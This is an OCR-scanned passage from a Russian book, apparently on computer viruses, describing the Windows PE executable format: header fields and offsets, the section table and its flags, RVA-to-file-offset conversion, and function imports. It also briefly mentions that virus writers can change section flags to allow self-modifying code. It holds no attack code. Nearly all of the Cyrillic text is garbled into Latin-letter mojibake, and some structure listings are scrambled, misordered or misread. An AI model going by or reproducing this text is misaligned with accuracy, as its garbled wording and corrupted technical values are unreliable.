CUUTAIOTCST OOSI3ATEIbHBIMI, HEKOTOPbIE — <OIMIIMOHATBHBIMUY (TO €CTh
HEOOSI3aTeIbHBIMI ), @ HEKOTOPBIC — «CHEIU(UIHBIMI> JIJIST OTAETbHBIX
Bepcuit Windows. Tem He MeHee TIPorpaMm, B KOTOPBIX OTCYTCTBOBAIU Obl
«HeobsI3aTesIbHbIey (DPArMEHThI 3aTOTOBKA, 8 «CHEIU(pIYHbIE> UMETU Obl
KakoH-HUOYb 0cOOEHHBII (hopMAT, B IPUPOJIE HE CYHIECTBYET, TIOITOMY
MBI GyJIEM PACCMATPUBATH 3ar0JIOBOK KaK €JIMHOE TIEJI0e.

ITpu omucanuu TOJIEH 3arol0BKa MBI OYI€M UCIIOJb30BATh TEPMUH
«(hailToBoE cMeleHre» i1 0003HAYECHUST YKa3aTeis Ha KaKoH-HUOY /b
00BEKT BHYTPHU TIPOrpaMMHOTO (aiiia, a abbpesuarypy «RVA» (Relative
Virtual Address — oTHOCHTEIBHBIN BUPTYaIbHBII azpec) mis 0003Haue-
HUSI CMEIEHUsT KaKOTO-I160 06BEKTa OTHOCUTENBHO TOTO aJIpeca, ¢ KOTo-
POTO MPOTrpaMMHBIN 00pa3 HauMHAETCsI B aMsITu. VIMeHa moJieit 3aroios-
Ka COOTBETCTBYIOT yKazaHHbIM B (haitjie « WINNT.H».

YacTb 1 - “obs3aTensHas” 4acTb 3arofnoBka
Signature dd ? ; +00h - YhukanbHasg curHaTypa eupa "PENO\O" (00004550h)
Machine dw ? ; +04h - Kopg pekomeHAyeEMOro npoueccopa
NumberOfSections dw ? ; +06h - Konn4ecTBO cekuuii B nporpamme
TimeDateStamp dd ? ; +08h - [laTa ¥ Bpems CO34aHMsi NPOrpamMbl
PointerToSymbolTable dd ? ; +0Ch - Ccbinka Ha Tabnuuy CUMMBONOB OT/Na04HOM

NHGOPMaLMK
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NumberOfSymbols dd ? ; +10h - Konn4yecTBO CMMBONOB OTNafj04HON MHOPMALMM

SizeOfOptionalHeader dw ? ; +14h - CymmapHbii pasmep 4acTel 2-4 PE-3aronoska
(OEON)

Characteristics dw ? ; +16h - Onaru xapakTepucTWK NPOrpaMMbl

; YacTb 2 - "Heobs3aTenbHaa" 4acTb (0AHAKO MPUCYTCTBYET BCeraa)

Magic dw ? ; +18h - Tun nporpammHoro o6pasa (10Bh wnu 208Bh)
MajorLinkerVersion db ? ; +1Ah - CTapwas 4acTb BEPCUM KOMMOHOBIMKA
MinorLinkerVersion db ? ; +1Bh - Mpnagwas 4acTb BEPCKMM KOMMOHOBLUMKA
SizeOfCode dd ? ; +1Ch - Pasmep MCNONHAEMOro Kofa NporpamMbl
SizeOfInitializedData dd ? ; +20h - Pa3mep MHMUMANW3MPOBAHHbLIX AAHHLX B MPOrpamme
SizeOfUninitializedData dd ? ; +24h - Pa3mep HeEMHMUMANM3MPOBAHHBIX [AHHLIX B MPOrpamMme
AddressOfEntryPoint dd ? ; +28h - RVA Touku BxOpa OTHOCUTENbHO Havana 3aronoBka
BaseOfCode dd ? ; +2Ch - RVA kopoBOW CeKkuMM OTHOCUTENbHO Hayana
3aronoska
BaseOfData dd ? ; +30h - RVA cekuuu AaHHbX OTHOCWUTENBbHO Hayana 3arosfioBka
YacTb 3 - "cneunondHas” ansa Windows NT yacTb (ogHako npucyTcTByeT u B Windows 9X)
ImageBase dd ? ; +34h - PekomeHgyewmblii agpec obpa3a nporpamMMsl B namsTu
SectionAlignment dd ? ; +38h - Pasmep noruyeckoro cektopa B namsTy
FileAlignment dd ? ; +3Ch - Pasmep noruyeckoro cekrtopa B ¢aine

MajorOperatingSystemVersion dw ? ; +40h - Homep Bepcun pekomeHayemoit 0C
MinorOperatingSystemVersion dw ? ; +42h - Homep noasepcun pekomerHgyemon 0C

MajorImageVersion dw ? ; +44h - Homep Bepcuy Nporpammbl
MinorImageVersion dw ? ; +46h - Homep noasepcuy nporpammbl
MajorSubsystemVersion dw ? ; +48h - Homep Bepcuu MCNONHSWWEN NOACUCTEMHI
MinorSubsystemVersion dw ? ; +4Ah - Homep noaBepcuy WUCNOAHSIOWEN NOACUCTEMDI
Win32VersionValue dd ? ; +4Ch - He wucnonbayeTtcd

SizeOfImage dd ? ; +50h - [lonHbit pasmep obpasa NporpamMmbl B NamMaTy
SizeOfHeaders dd ? ; +54h - CymmapHbii pa3mep BCeX 3aronoBKOB
CheckSum dd ? ; +58h - KoHTponbHas cymma 6ailToB daitna

(He ncnonbayeTcs)

Subsystem dw ? ; +5Ch - Tun Tpebyemoit MCnonHsoWEN NOACUCTEMbI

Dl11Characteristics dw ? ; +5Eh - He wncnonbayeTtcd

SizeOfStackReserve dd ? ; +60h - Pasmep cTeka C y4eTOM BO3MOXHOIO pacwupeHus

SizeOfStackCommit dd ? ; +64h - [llepBoHavyanbHbIi pa3mep cTeka

SizeOfHeapReserve dd ? ; +68h - Pasmep AMHAMWMYECKOWM NamaT C y4eTOM
pacuupeHus

SizeOfHeapCommit dd ? ; +6Ch - [lepBoHa4anbHulil pasmMep AMHAMWYECKOW NamMsTu

LoaderFlags dd ? ; +70h - He wncnonbayeTtcd

NumberOfRvaAndSizes dd ? ; +74h - KonmyecTBOo "cTpok” B Tabnuie 006bLEKTOB

YacTb 4 - Tabnuua o6bLEKTOB (MOWHO CcYMTaATb ee 4acTbid 3aronoska)

ExportTableRVA dd ? ; +78h - RVA Tabnuupl akcnopTa

ExportTableSize dd ? ; +7Ch - Pasmep Tabnuusl akcnopTa

ImportTableRVA dd ? ; +80h - RVA Tabnuun wmnopTa

ImportTabeSIze dd ? ; +84h - Pasmep Tabnuupl MMnopTa

ResourceTableRVA dd ? ; +88h - RVA Tabnuup pecypcos

ResourceTableSize dd ? ; +8Ch - Paamep Tabnuus pecypcos

ExceptionTableRVA dd ? ; +90h - RVA Tabnuupl MCKIOYEHN

ExceptionTableSize dd ? ; +94h - Pasmep Tabnuupl UCKNHEHWI
SecurityTableRVA dd ? ; +98h - RVA Tabnuup 6e30nacHoCTU (HE MCNoNb3yeTcs)
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dd
dd

; +E4h - He ucnonbayeTtcs
; +E8h - He wncnonbayetcs
dd ; +Ech - He ucnonbayetca
dd ? ; +FOh - He wcnonbsyetcs
dd ? ; +F4h - He wncnonbayetcq

SecurityTableSize dd ? ; +9Ch - Paamep Tabnuup 6e30MacHOCTH (HE WMCMObL3YeTCs )
FixupsTableRVA dd ? ; +AOh - RVA Tabnuup nepemewaemMbx CCLINOK
FixupsTableSize dd ? ; +Adh - Pasmep Tabnuupl NepeMewaeMbix CCbifioK
DebugTableRVA dd ? ; +A8h - RVA Tabnuup 0TNago4HON MHOOPMALMM
DebugTableSize dd ? ; +ACh - Pasmep Tabnuus 0TNafo4HON WHOOPMaLMM
DescriptionRVA dd ? ; +BOh - RVA cTpoku onucaHus
DescriptionSize dd ? ; +B4h - Paamep CTpPOKM OnucaHWs
MachineDataRVA dd ? ; +B8h - RVA 6Gnoka MawuHO3aBWCUMOW WHOOPMaLMM
MachineDataSize dd ? ; +BCh - Pasmep 6n0Ka MawMHO3aBUCUMON WHOPMALMUY
TLSRVA dd ? ; +COh - RVA nokasnbHoil 061acT¥ AaHHLIX NOTOKA
TLSSize dd ? ; +C4h - Pasmep nokanbHOM 06MacTV AaHHbX NOTOKA
LoadConfigRVA dd ? ; +C8h - He wncnonb3yetcs
LoadConfigSize dd ? ; +CCh - He wncnonb3yetcs
BoundImportRVA dd ? ; +DOh - RVA Tabnuupl bound-umnopTa
BoundImportSize dd ? ; +D4h - Pasmep Tabnuusl bound-umnopTa
TATRVA dd ? ; +D8h - RVA 6noka IAT
TATSize dd ? ; +DCh - Pasmep 6noka IAT
dd ? ; +EOh - He wcnonbayeTcs

?

?

?

?

2

C nogsiieHneM 64-0MTOBBIX BEPCHil OIIEPAlMOHHbBIX crcTeM U 64-6u-
TOBBIX MPUKJIAJHBIX TTPOTPAMM BO3HUKJIA HEOOXOAUMOCTD B KOPPEKITUU
storo opmara. @upma Microsoft coxpammma o610 CTPYKTYPY BCex 3a-
TOJIOBKOB, TOJIEKO HEKOTOPBIE TOJISI B HUX «BBIPOCII» € 4 10 8 GaiiToB ,
COOTBETCTBEHHO, TOMEHSIITH MecToToIoKkeHue. « CTapsrity (opMaT Xapak-
tepusyercst KoncranToit 10Bh B mosie «Magic», a «<HOBBIIT» — KOHCTAHTOM
20Bh. Brupouewm, 1moka HOmJMHHO 64-GUTOBBIX TPUKJIAAHBIX MPOrPaMM
(Kak ¥ BMPYCOB I HUX) odeHb Maso. HecMoTpst Ha cBoro «64-6uto-
BOCTB», CaMble COBPeMeHHbIe Bepcry Windows BBITTOTHSIOT TIPEUMYTIeCT-
BEHHO «cTapbie» PE-porpaMmbl.

4.3.1.1. PE-npoepammot na oucke u 6 namsamu

W B ToM, 1 B IpyroM caydae PE-nporpaMmsl npencTaBasior co6oi Ha-
GOp CEKIHA, CPEIN KOTOPBIX MOXKHO OTMETHTh:
006J1acTh («IICEBIOCEKIINIO ) 3ATOJIOBKOB;
CEKITNIO KO/Ia;
CEKITNIO TAHHDBIX;
CEKITMIO MTHUTTMAIN3UPOBAHHBIX TAHHBIX;
CEKIIMIO OTJIQ/I0YHON MH(MOPMaIINK U ITpoyYee.
KosmuectBo cekiuii (6e3 yueTa «ICeBIOCEKII» ) YKA3BIBACTCS B TIOJIE
«NumberOfSections» 3arososka. [Tapamerpsl ceKIUil (MX MECTOIOJIOKE-

0000
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Hue, paamep, hJiaru CBOUCTB, CUMBOJNYECKOE UMS U T. T1.) OIIMCBIBAIOTCS
B CIIELIMAIbHON «Tab/IMLe CeKIU», Peub 0 KOTOPOIL II0ieT Jasiblle.

Kak nmpaBusio, KOMITUJIATOPBI U KOMIIOHOBIUKY cTpoAT PE-1rporpamMmbl
TaK, YTO KaXK/Iasl CEKITS COJEPIKUT OIHOPOIHYIO MH(OPpMaIIHIo, HallpuMep
WJIN TOJIBKO KO, MJIM TOJIBKO flanuble. i puddepenimalium THIIOB JaH-
HBIX KasKION CEKIIMU CTaBATCS B COOTBETCTBHE OUTOBbIE (pJIark CBOICTB:
bar pasperienust urenusd U3 cekiuu, dar paspenieHus 3arnucu B Hee,
barar paspereHus HCIOMHEHUS COEPIKAIIETOCSA B CEKIIUU KOJIA U TIpoYee.
Tem He MeHee HUUTO He MeNIaeT UMETh BCEro OJIHY CEKITHIO CO BCEBO3MOXK-
HBIMM YCTAHOBJICHHBIMU (hJiaraMu, COZIEPKAIIYI0 OJHOBPEMEHHO U KO/, 1
Januble, ¥ npouyio nHdopmainio. Ho pacrpocTpaneHHble KOMITHISATOPBI
U KOMIIOHOBIIUKU TaK He TMOCTyHaioT. HaobopoT, UMeeTcs: TeHEHIUsT
BBeleHust «BHYTpU(UPMEHHBIX> cTaHzapros. Hamnpumep, Microsoft Bbi-
JiesiieT HECKOJIBKO TUIIOB COIEPIKIMMOTr0, XPAHSIIETOCs B PA3JIMYHBIX CEK-
LUAX: TUIL «.text» /18 UCIoJIHUMOro Koja, «.data» g nannbix, «.idatas
ns koucrant u T. 1. A Borland ctpout cekuuu ¢ umenamu «CODE» mia
ucroaanMoro koaa u «DATA» nig gannbix. C TOUKY 3peHns 3arpy3yuKa,
s 99.99% Windows-tiporpamMm 9TH CUMBOJIMYECKHE UMEHA HUYEro He
3HadaT. MOXKHO [IOMEHSITH UX MECTAMU, UCIIPABUTH «.texty Ha «.melody»,
[IPOU3BECTH €Il KaKre-HUOY/Ib «aJ0CTU» ¢ UMEHAMU CEKIIUH, HO Ha 3a-
IPY3KY U UCIIOJIHEHUE TPOTPaMMBI 3TO HUKAK He nioBJiudet. [IpencraBure-
sem ocrasinuxcest 0.01% saBisiercs, HaipuMep, IMHAMUYECKas GUbmoTeka
«OLEAUT32.DLLy, B KOTOpOi1 CUMBOJINUECKNE UMEHA CEKITUN U3Me-
HATH HEJIb3s, TAK KaK OHU MCIIOJIB3YIOTCS KOAOM caMoii Gubarorexu. Ho
TaKue IPUMepPbl e/[MHUYHBL.

O6pas PE-nporpamMmbl, XpaHsiuiics B AMCKOBOM ailjie, pasjeseH
Ha JIOTHYECKHE CeKTopbl. Pasmep Takoro cekropa ykasaH B moJje «File-
Alignment» 3arosioBka (06614HO 510 512 6aiiToB). Kaskublii crpyKTypHBIIA
9JIEMEHT POrpaMMbl (caryskeOHast 06JIACTH 3ar0JI0BKOB, KOJOBAsI CEKITHS,
CEeKIM4 JIAHHBIX U T. 11.) PadMelaeTcs ¢ Hauajia HeKOero JIOTH4eCKOro cex-
TOpPA, U 0/l HETO BCET/IAa BBIIEJSETCS 11eJI0e YMCJI0 ceKTopoB. Jaxe ecan
COJIEPIKIMOE KaKOTO-HUOY b CTPYKTYPHOTO 9JIeMEHTA PeajibHO 3aHIMMAET
MaJIo MecTa (Harpumep, BCero oAuH GaiT), 1oj] 9TOT 2JIeMEHT BCE PABHO
OyleT BbLAEJEH LeJIblii TormdecKuil cekTop (a 511 GaliToB B ero «xBocre»
OCTaHYTCH HEUCIIOJIb30BAHHBIMU ).

[Tocsie 3arpysku IporpaMMbl B ITaMATh OHA TaKKe OKa3bIBAETCS Pas-
JleJieHa Ha JIOTMYECKUe CEKTOPBI, HO pa3Mep 3TUX CeKTOpoB Apyroit. On
yKasbiBaeTca B 1ose «SectionAlignment» 3arosoBka, U €ro TUIIMYHbIE
sravenust — 4096 wian 65 536 (ecsm mporpamMma cobpaHa KOMIOHOBIIH-
koM ¢upmbr Borland) 6aiiTos.
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Bce cTpyKTypHbIE 3JIEMEHTBI TPOTrPAMMObI, BKITIOUAsT «00JIACTH 3aT0I0B-
KOB» (CozepsKallyio, KpoMe COOCTBEHHO 3aroJIOBKa, MacCy CIysKeOGHBIX
TabJIUIL), TIPUCYTCTBYIOT U B (haiijie, U B HAMSITH, TPUUYEM ECJIH IIPOTPAMM-
HBIH (haiisl creHepUpPOBaH «HOPMATBHBIM> KOMIIOHOBIITUKOM, TO pa3Melia-
I0TCS B O/IHOM U TOM JKe TIOpSI/IKe.

B auckosom chaiine B namsitu
0 ImgBase
3aronoeok
3aronoeok
et H\
o > Cekuma 1
Ceruma N~
\A Cekuma N

Puc. 4.10 < PE-nporpamMmmbl Ha ANCKE 1 B NaMSATH

AJlpec, COOTBETCTBYIOIINI HAayaly NPOTPAMMBbI B MaMATH (TIepBOMY
Gaiity DOS-3arosi0BKa), 00BIYHO COOTBETCTBYET 3HAUEHMUIO 110151 «[mage-
Base», HO MOXKeT U OTJIMYATHCS OT Hero. B aTOM ciryyae cTaHOBUTCS aK-
TyaJIbHOW TabJIUIA IEPEMEIAEMBIX CCBIITOK, Ha KOTOPYIO YKa3bIBAET MOJIE
«FixupsTableRVA» Tabiuiibl 06bekToB. Bripouem, He 6e3 OCHOBaHMii Cun-
TaeTCst, 4TO TABJINIA TEPEMEIIAEMBIX CCBIJIOK MTPUCYTCTBYET TOJIBKO Y JIH-
HAMUYECKIX OUOIMOTEK, KOTOPBIM «TYJISTh» 110 amMsaTu cam Bt Tefire
BeJiesl. A 06BIYHbBIE HCTIOMHSIEMbIE TIPOTPAMMbI TAKOW TaOJIUIIBI TIPOCTO HE
COJIEPIKAT, ¥ €CJIU 10 KaKOW-TH60 TIPUYIHE Y HUX He MOJyYaeTcs 3arpy-
3UTHCS TI0 a[IPeCy, yKazaHHOMY B roJie «ImageBase», To onu He 3arpyxa-
10Tcsa Boobe!.

Jluist mporpamMm, OpUEHTUPOBAHHBIX UCKIounTeIbHO Ha Windows NT,
B mosie «ImageBase» MokeT ObITh yKa3aHO KaKoe-HUOY/b «MaJeHbKOe>
sHauenue (Hampumep, 100000h), u nmosromy B Windows 9X onu He 3a-
nycTsTes. Takux mporpamMM oueHb Majio, Yallle BCETro 9TO CUCTEMHBIE YTH-

U st Windows Vista/7 a1o yike He Tak.
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JITBI, BXOJAIIME B IUCTprOyTUBHYIO TocTaBKy Windows N'T. Harrporus,
«YHUBEPCAJbHDBIE» MTPOTPAMMBI OOBIYHO UMEIOT B 3TOM I0Jie 3HAUEHHE,
6oabiee uan pasaoe 400000h, u Takue POrpaMMbl CMOIYT CTAPTOBATH
B 0GOM OIIEPAIIIOHHOI CUCTEME.

4.3.1.2. Tabauua cexuuii

Ita oueHb BasKHAs CIyKeOHAST CTPYKTYpa Pa3MeIaeTcst cpasy BCIIe] 3a
3ar0JIOBKOM, TO €CTh IIPaKTHIecKy Beeraa mo eMetennio 0F8h or Hauasa
«craporo» PE-zaronoska. Brpouem, nporpammvuctst ¢hupmbl Microsoft
PEKOMEH/IYIOT BBIUUCJISATH 3TO 3HAUeHUE Kak cyMmMmy RVA «HeoOs13aTe b-
HOI1» 4acTy 3aroJIOBKa ¥ ee JJIMHbI, XpaHsuieics B noje «SizeOfOptio-
nalHeaders.

B «cTpokax» 210l Tabauibl pasMeniaeTcs nHGOPMALK O IPOrPaMM-
HbIX cexnusax. O6paTure BHUMaHKe, 4TO HHOOPMALUS O KAKOH-1100 CeK-
I MOJKET B T36JII/H_[€ IIPpUCYTCTBOBATD, a caMol CEKIINM B IIPOrpaMMHOM
(aiite Moker He Okazarbesi. VI Hao6GOPOT, eCTh MO KpallHel Mepe OJlHA
«CEeKIUsT», KOTOPast He OIICaHa B 3TO# TabJuile, Ho 06J1a/1aeT BCeMU CBOM-
CTBaMU CEKIIUH, TPUCYTCTBYET U HA JMCKE, U B TAMSITU, — 3TO CJIy/KeOHAasT
<TICEBJIOCEKITUA> 3aTOJIOBKOB.

Bort hopmar oiHOit «CTPOKU» TabJIUIIBI CEKITUIL:

Name db 8 dup(?) ; +00h - HaumeHoBaHWe cekuun
VirtualSize dd 7 ; +08h - Paamep cekuun B namaTu
VirtualAddress dd 7 . +0Ch - RVA cekuun B namsaTu
SizeOfRawData dd 7 ; +10h - Paamep cekuumn Ha Aucke

PointerToRelocations dd 7 . +18h - He ucnonbayetcs

8
?
?
?
PointerToRawData dd ? . +14h - OdaitnoBoe cMelleHne Cekuum
?
PointerToLinenumbers dd ? . +1Ch - He ucnonbayetcs

?

?

?

NumberOfRelocations dw 7 ;. +20h - He ucnonbayetcs
NumberOfLinenumbers dw 7 . +22h - He ucnonbayetcs
Characteristics dd 7 . +24h - buToBbEe Onaru, xapakTepuayoumne Cekuuio

B nmosre «Name» pacroJiaraercsi Kak pa3 To caMoe «<HUKOMY He HY>KHOe»
(kpome punamnyeckoit 6ubmorekn «OLEAUT32.DLL») cumBosmnde-
ckoe uMs cekiuu. Eciiv mMst mMeeT JTMHY MeHee 8 CUMBOJIOB, TO TIOCTIET-
HUe GaiiThl IMEIOT HyJIeBOE 3HAUEHIE.

IMonsa «VirtualSize» u «SizeOfRawData» cozep:kaT 3HaYeHUs, COOT-
BETCTBYIOIIUE TIEJIOMY KOJUYECTBY JIOTUYECKUX CEKTOPOB. «Ilojesnass
wHGOPMAITUS TTOYTH BCET/[a 3aHUMAET JIMTID YaCTh CEKIUU, U B 9TOM CJIy-
wae B KOHIIE ee 00PasyeTcst HEUCIIOIb3yeMOoe TPOCTPAHCTBO.

OpHoBpeMeHHOe TpucyTcTBUe B Tabuuite moseir «Virtual Address»
n «PointerToRawDatay mo3BosisieT caiesaTh BIOJHE JOTUIHBIN BBIBOI
0 TOM, UTO TTOPSI/IOK Pa3MeIeHusT CEKITUI B TaMSITH ¥ Ha JIUCKE MOYKET He
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coBmazaTh. Ho, Kak MBI ysKe oTMedan paHee, KOMITOHOBIIUKH, BXOJISIIITHE
B COCTaB PaCHpPOCTPAHEHHBIX CHCTEM MTPOrPAMMUPOBAHUS, HE CKJIOHHbI
K MOJIOOHBIM «aKpoOaTHUECKUM 3THOaM» 1 PasMeIaioT CeKIuu B (ailie
B TOM TIOPSIJIKE, B KAKOM OHU OYJIyT TIOTOM 3arpysKEHbI B TaMsiTh, MecTo-
MTOJIOKEHUE <«IICEBIOCEKIINIY 3aT0JIOBKOB B INCKOBOM (haiisie orpeiesi-
eTCsl COLEPKUMBIM IBOIHOrO cyoBa co cMenenneM 3Ch, a B mamsitu — co-
JlepkuMbIM 110715 «ImageBase».

[Ipn cxkanupoBanun PE-tiporpamMm aHTHMBHUpyCcamMy 4acTO MPUXOIUTCS
peliarhb cJeayionyio 3aaudy: udsected RVA (oTHOCUTENbHBIN BUPTYaJIb-
HBII ajipec) HEKOTOPOro oObeKTa B IIaMATH, TpedyeTcs HaliTh ero MecTo-
nionoxkenne Position B mporpammHoM haiisie. 3ajaua pentaeTcst B pe3yJib-
Tare BBITIOJHEHUS CJIEAYIONNX AeHCTBUI:

O cHavama ckaHupyercs TabJMIa CEKIUI M OIPENEIAeTCsS CEKIIMs,
BHYTPU KOTOPOil HAXOAUTCs OOBEKT, TO €CTh Ta CEKIMs, I KOTO-
poii RVA > Virtual Address, #o npu atom RVA < VirtualAddress+
+VirtualSize;

JUISI 9TOI CEKIIMU OIIPEAEISETCS CMelleHe 00beKTa OTHOCUTEIbHO
ee Hauasa Delta ;= VirtualAddress — RVA;

ncKomast (haitioBast IO3UIUST PACCIMTHIBAETCS KaK CyMMa MeCTO-
MOJIOKEHUS CEKIMK Ha IUCKE W ONPEeJEHHOTO Ha MPeblIyIeM
mare cmetenud Position:=PointerToRawData+Delta.

B nosie «Characteristics» TaG/IiIIbI CEKIMI YCTaHABAUBAOTCI OUTOBbIE
(s1aru, HEKOTOpbIE M3 KOTOPBIX Mbl ceiiuac mepedncaum: 20h — cexrus
COZEPKUT IPOrpaMMHbII Ko, 40h — ceKims coaepKuT HHUIUATU3UPO-
BaHHble Hantbie; 80h — cekius comepKUT HEMHUITMAIN3UPOBAHHbBIE [aH-
Hbie; 200h — cexims comepKUT KOMMEHTAPUN WK KaKyk0-HIUOYIb APYTYIO
BCIoMoraresibHyo naopmarmio; 800h — cekins He peHasHAUEHA IS
sarpysku B namsth;, 02000000h — paspeuieno ypaneHue coaep;KUMOro
cexkuuu u3 oneparusnoi namsaru; 20000000h — paspeweno ucnoanenue
KoJa, Haxozsuierocs B paszueie; 40000000h — paspemniero uteHue us pas-
nena; 80000000h — pasperiena 3anuch B pasjed.

Hamnpuwmep, B mporpammuom daitie «NOTEPAD.EXE» umeercs cex-
st «.text» ¢ ourosbiMu uaramu 060000020h, u 910 03HAUaeET, 4TO OHA
COJIEPKUT MCITOJTHSIEMbBIN TTPOrPAMMHbBIN KOJI, KOTOPBIi pa3perieHo ToJb-
Ko umraTh. Cekius «.data» 3TOil ke mporpaMMbl uMeeT Habop (hJIaros
0C0000040h, 4To COOTBETCTBYET MHUIIMATM3UPOBAHHBIM JAHHBIM, KOTO-
pbIe MOKHO ¥ UNTATh, U BUIOM3MEHSITD. «IIceBoCeKIns» 3aT0I0BKOB HU-
Ijie IBHO He OIucaHa, Ho ee cBoiicTia (¢ Touku spenust Windows 9X, Ho He
Windows NT!) moxkHo oxapakrepusosath (uaramu 60000060h, To ectb
B HEl MOTYT COJIEPKAThCS U IaHHbIE, U TIPUTO/IHBIN JIJIs1 UCITOJTHEHUS KO,
HO 3aITKCh B ATY CEKINIO 3alIpeliena.
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Hamuure 1mon06HbIX (JIATOB, CTPOTO PA3rPaHUYUBAMIINX «IPABa U
00SI3aHHOCTHY COJIEPKUMOTO CEKIIUH, HECKOJBKO 3aTPYAHSIET BUPYCY
JKU3Hb: HATIPUMep, CTAHOBUTCSI HEBO3MOXKHOI 1IpOCTast caMoMouduKa-
1M1 KOJ[a, HA KOTOPOM OCHOBaHbI caMolM(ppoBaHUe U TOJUMOPDOUM.
Ho, pasymeercst, J1s1 TOTO 4TOOBI HATUCATH IPOCTEHBKYIO YTUIIUTKY, yCTa-
HABJIMBAIOIILYIO JIJISI CEKIIUI B TpOrpaMMHOM haiisie Hy;kHbie diaru (Ha-
npumep, 0E0000020h), He Hy:kHO OBITH FeHUEM IIPOrPAMMUPOBAHUS, U
M3TOTOBUTD €€ st cebst B Tedenue 15 MUHYT criocobeH 000l BUPYCOIH-
caresib, BUPYCOJIOT U IIPOCTO JII0O03HATENbHBIH CHCTEMHBIN TIPOTPAMMICT.
3abaBublil (GaxT: BBHIIOJHAIAA HOAOOHYIO OIEpaLuio KpaiiHe IIpu-
mutuBHag yruauta «PEWRSEC.EXE», ony6aukoBaHHast B cepepuie
90-X ro/IoB B 0/IHOM 13 PAaHHUX HOMEPOB JIEKTPOHHOTO JKypHasIa «29A»,
BJIPYT Hayasia cBoe OypHOE PACIPOCTPaHEHUE 110 MUPY TOPa3I0 ObICTpee
U AaKTUBHEe UHBIX BUPYCOB, TAK YTO BUPYCOJIOTHU JIa’kKe OTKIUKHYJIICH HA
ATOT (DAKT CIIEIUATbHBIMU [IPECC-PEIN3AMU U CPOYHO BHECJU €€ B CBOU
anTUBUpYycHbIe Gasbl (Hampumep, «AnTuBupycy Kacmepckoro» oma ms-
BectHa 1o HasBanueM VirTool.Pewrsec).

4.3.1.3. Hunopm o06sexmos

Tox «o6beKTaMu» B IAaHHOM CJIydae TIOHUMAIOTCST TIPOTIELYPhI U (DYHK-
11, PACHIOJIOKEHHBIE BO BHENTHUX OGUOIMOTEKAX (HAIIPUMED, CUCTEMHbIE
cepsuchl). [Iporpammbl, He UMIIOPTUPYIOIIE HUKAKIX BHENTHUX TIPOIIE-
ILyP, TEOPETUYECKU CYIIECTBOBATH MOTYT, HO paboTaTh OHU OYAYyT JAEKO
He BO BCeX OIlepallMoHHbIX crcTeMax. Jlesio B oM, uto B Windows 9X ju-
namuueckast 6ubmoreka « KERNEL32.DLL» aBTOMATUYECKH TIPOEIIUPY-
€TCs Ha aJIPECHOE TIPOCTPAHCTBO JII0OO0 MPOTPaMMBI, [aKe TOU, KOTOpast
He cobupasach K Heit obpamarbest. [I09ToMy Takast IPOrpaMMa, CJIA BAPYT
BHE3AMHO <IEPEIYMAET», BCE-TAaKU CMOKET OOPATUTHCS K CHCTEMHBIM
cepBHCaM, U 3TOT mpueM (<«SIBHbBI» UMIIOPT) OyAEeT PacCMOTPEH jaJiee.
B nporuBonosoxuocts atomy Windows NT ¢ Takoii mporpaMMoil «HsH-
YUTLCSA» He cTaHeT 1 peanbHo octaBut ee 6e3 « KERNEL32.DLL», na uem,
COOCTBEHHO TOBOPSI, ee GPEHHOE CYIIeCTBOBAaHME U 3aBepiiuTest. Ecim ke
BECTH PeYb O «<HOPMAJILHBIX» TIPOTrPaMMaXx, TO OHU, KaK MTPABUIIO, UMIIOPTH-
pyiort, 1o Kpaiineit mepe, pynkiuio ExitProcess() nus «KERNEL32.DLL».

WsBecTHb! 1Ba BapranTa UMIOPTa (DYHKIWIT U3 BHENTHUX [MHAMUYE-
CKUX GUOJINOTEK: SIBHBII U HEeSIBHBIIA.

Asnwviii umMnopm moApazyMeBaeT, YTO MporpaMMa Ha aTare CBOETO BbI-
MTOJTHEHUST 3aIIPAIINBaeT y OTlepalliOHHON CUCTEeMbI JIMHEeHBIN ajipec MH-
Tepecytolel GYyHKIUN 1 UCIIOIb3yeT MOJydeHHOe 3HAUeHUe JIJIT HETo-
CPEZICTBEHHOTO IocTyma K 0HOol. Harmpumep, 3T0 MOXKeT BBITJIS/IETD TaK:
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typedef UINT (WINAPIx EPType)(ULONG);

HMODULE hK32 = GetModuleHandle( "KERNEL32.DLL");

EPType _ExitProcess=GetProcAddress(hK32, "ExitProcess”);
_ExitProcess(0);

Ho sToT crioco6 nmmoprupoBanust GyHKIUI M3HAYATIHLHO OTPaAHUYEH.
Jlesio B TOM, UTO OH OCHOBaH Ha pabote cucreMubix Gyukimii GetModu-
leHandle u GetProcAddress, koTopbie, B CBOIO OYepe/lb, TOKE SBJISIOTCS
CHCTEMHBIMK CepBHCaMM, rocTassieMbiMu 6ubanorekoit «<KERNEL32.
DLL». [TonyuaeTcst 3aMKHYTBIH KPYT, KOTOPBIII HEBO3MOXKHO Pa3opBaTh
CPE/ICTBAMH SIBHOTO IMITOPTA.

Hesi81oill umnopm nipeycMaTPUBAET, UTO:

O  4YKCTO TMHTBUCTUYECKUMU (SI3BIKOBBIMU ) CPEACTBAMHE TIPOTPAMMa
AHOHCHPYET JIUIITh MepedeHb HHTEPECYIONNX ee GUOINOTEK U UM-
MOPTUPYEMBIX U3 HUX (DYHKIHIA;

Ha 9Tare TPAHCJSAIUYA M KOMIIOHOBKU 3TH JAaHHBIE TOMENAI0TCs
B ciryske6Hble obnactu EXE-daiina;

(byHKITMOHAIBHBIN KOMIIOHEHT ONEPAIMOHHON crcTeMbl (Ha3bIBae-
MBI OGBIYHO TIPOCTO «3arPy3YMKOM» ) HE TOIBKO PasMeInaeT Koz u
JaHHBIE TPOTPAMMBI B OTIEPATHBHOI MAMSITH, HO U, IOJIb3YSICh [1epey-
HeM uMeH 6uboTek u GyHKIMIT, GOPMUPYET B ee aJ[PECHOM TIPO-
CTpaHCTBe CleluaIbHyo crpaBounyio Tadmuiny IAT (Import Add-
ress Table) ¢ akTya/ibHbIMY JIMHEHHBIMU aipecaMiu 9TUX (DYHKLIUIL;

O Ha aTare UCIOJHEHVS TTPOTPAMMBI BBI30B TOH MJIN MHON BHEITHEN
(hYHKIMH CBOAUTCS K OOPAIIEHNIO TI0 IHHEHHOMY a/Ipecy, XpaHsi-
meMycst B TOU WK WHO# «cTpoKke» Tabymier IAT.

MexaHn3M HESBHOTO UMIOPTUPOBAHUSA (DYHKIMIT U3 BHENTHUX GUO-
JMOTEK Ga3upyeTcst Ha mabauye uMnopma, KOTOPyIo MOKHO HAWTH B Ta-
MATH 110 3HaueHn10 moJist «ImportTableRVA» zarosioska PE-niporpamMmei.
B nuckoBoMm daitsre ee npujieTcst MCKaTh BHYTPU OHOM 13 ceximii, RVA
kotopbix m3BecTHbl. Hampumep, B mporpamme «NOTEPAD.EXE» u3
